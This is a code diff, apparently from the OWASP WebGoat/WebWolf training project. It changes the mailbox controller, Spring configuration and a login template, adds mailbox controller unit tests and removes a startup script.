WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); UserDetails user = (UserDetails) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
ModelAndView modelAndView = new ModelAndView(); ModelAndView modelAndView = new ModelAndView();
List<Email> emails = mailboxRepository.findByRecipientOrderByTimeDesc(user.getUsername()); List<Email> emails = mailboxRepository.findByRecipientOrderByTimeDesc(user.getUsername());
if (emails != null && !emails.isEmpty()) { if (emails != null && !emails.isEmpty()) {
@ -44,13 +45,8 @@ public class MailboxController {
@PostMapping(value = "/mail") @PostMapping(value = "/mail")
public Callable<ResponseEntity<?>> sendEmail(@RequestBody Email email) { public Callable<ResponseEntity<?>> sendEmail(@RequestBody Email email) {
return () -> { return () -> {
if (userRepository.findByUsername(email.getRecipient()) != null) {
mailboxRepository.save(email); mailboxRepository.save(email);
return ResponseEntity.status(HttpStatus.CREATED).build(); return ResponseEntity.status(HttpStatus.CREATED).build();
} else {
log.trace("Mail received for unknown user: {}", email.getRecipient());
return ResponseEntity.notFound().build();
}
}; };
} }

View File

@ -3,9 +3,11 @@ server.error.path=/error.html
server.session.timeout=6000 server.session.timeout=6000
#server.contextPath=/WebWolf #server.contextPath=/WebWolf
server.port=8081 server.port=8081
server.address=127.0.0.1
server.session.cookie.name = WEBWOLFSESSION server.session.cookie.name = WEBWOLFSESSION
spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/data/webwolf spring.datasource.url=jdbc:hsqldb:hsql://${webgoat.server.address:localhost}:9001/webgoat
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect
spring.jpa.hibernate.ddl-auto=update spring.jpa.hibernate.ddl-auto=update
spring.messages.basename=i18n/messages spring.messages.basename=i18n/messages
@ -29,7 +31,8 @@ multipart.location=${java.io.tmpdir}
multipart.max-file-size=1Mb multipart.max-file-size=1Mb
multipart.max-request-size=1Mb multipart.max-request-size=1Mb
webgoat.server.directory=${user.home}/.webgoat/ webgoat.build.version=@project.version@
webgoat.server.directory=${user.home}/.webgoat-${webgoat.build.version}/
webwolf.fileserver.location=${java.io.tmpdir}/webwolf-fileserver webwolf.fileserver.location=${java.io.tmpdir}/webwolf-fileserver
spring.jackson.serialization.indent_output=true spring.jackson.serialization.indent_output=true

View File

@ -45,7 +45,7 @@
<div class="col-xs-6 col-sm-6 col-md-6"> <div class="col-xs-6 col-sm-6 col-md-6">
</div> </div>
</div> </div>
<div><b><a th:href="@{/registration}" th:text="#{register.new}"></a></b></div> <!--<div><b><a th:href="@{/registration}" th:text="#{register.new}"></a></b></div>-->
</fieldset> </fieldset>
</form> </form>
</div> </div>

View File

@ -0,0 +1,98 @@
package org.owasp.webwolf.mailbox;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.common.collect.Lists;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.Mockito;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest;
import org.springframework.boot.test.mock.mockito.MockBean;
import org.springframework.http.MediaType;
import org.springframework.security.test.context.support.WithMockUser;
import org.springframework.test.context.junit4.SpringRunner;
import org.springframework.test.web.servlet.MockMvc;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.CoreMatchers.not;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*;
@RunWith(SpringRunner.class)
@WebMvcTest(MailboxController.class)
public class MailboxControllerTest {
@Autowired
private MockMvc mvc;
@MockBean
private MailboxRepository mailbox;
@Autowired
private ObjectMapper objectMapper;
@JsonIgnoreProperties("time")
public static class EmailMixIn {
}
@Before
public void setup() {
objectMapper.addMixIn(Email.class, EmailMixIn.class);
}
@Test
@WithMockUser
public void sendingMailShouldStoreIt() throws Exception {
Email email = Email.builder()
.contents("This is a test mail")
.recipient("test1234@webgoat.org")
.sender("hacker@webgoat.org")
.title("Click this mail")
.time(LocalDateTime.now())
.build();
this.mvc.perform(post("/mail").contentType(MediaType.APPLICATION_JSON).content(objectMapper.writeValueAsBytes(email)))
.andExpect(status().isOk());
}
@Test
@WithMockUser(username = "test1234")
public void userShouldBeAbleToReadOwnEmail() throws Exception {
Email email = Email.builder()
.contents("This is a test mail")
.recipient("test1234@webgoat.org")
.sender("hacker@webgoat.org")
.title("Click this mail")
.time(LocalDateTime.now())
.build();
Mockito.when(mailbox.findByRecipientOrderByTimeDesc("test1234")).thenReturn(Lists.newArrayList(email));
this.mvc.perform(get("/WebWolf/mail"))
.andExpect(status().isOk())
.andExpect(view().name("mailbox"))
.andExpect(content().string(containsString("Click this mail")))
.andExpect(content().string(containsString(DateTimeFormatter.ofPattern("h:mm a").format(email.getTimestamp()))));
}
@Test
@WithMockUser(username = "test1233")
public void differentUserShouldNotBeAbleToReadOwnEmail() throws Exception {
Email email = Email.builder()
.contents("This is a test mail")
.recipient("test1234@webgoat.org")
.sender("hacker@webgoat.org")
.title("Click this mail")
.time(LocalDateTime.now())
.build();
Mockito.when(mailbox.findByRecipientOrderByTimeDesc("test1234")).thenReturn(Lists.newArrayList(email));
this.mvc.perform(get("/WebWolf/mail"))
.andExpect(status().isOk())
.andExpect(view().name("mailbox"))
.andExpect(content().string(not(containsString("Click this mail"))));
}
}

View File

@ -1,3 +0,0 @@
#!/bin/sh
java -jar -Djava.security.egd=file:/dev/./urandom /home/webwolf/webwolf.jar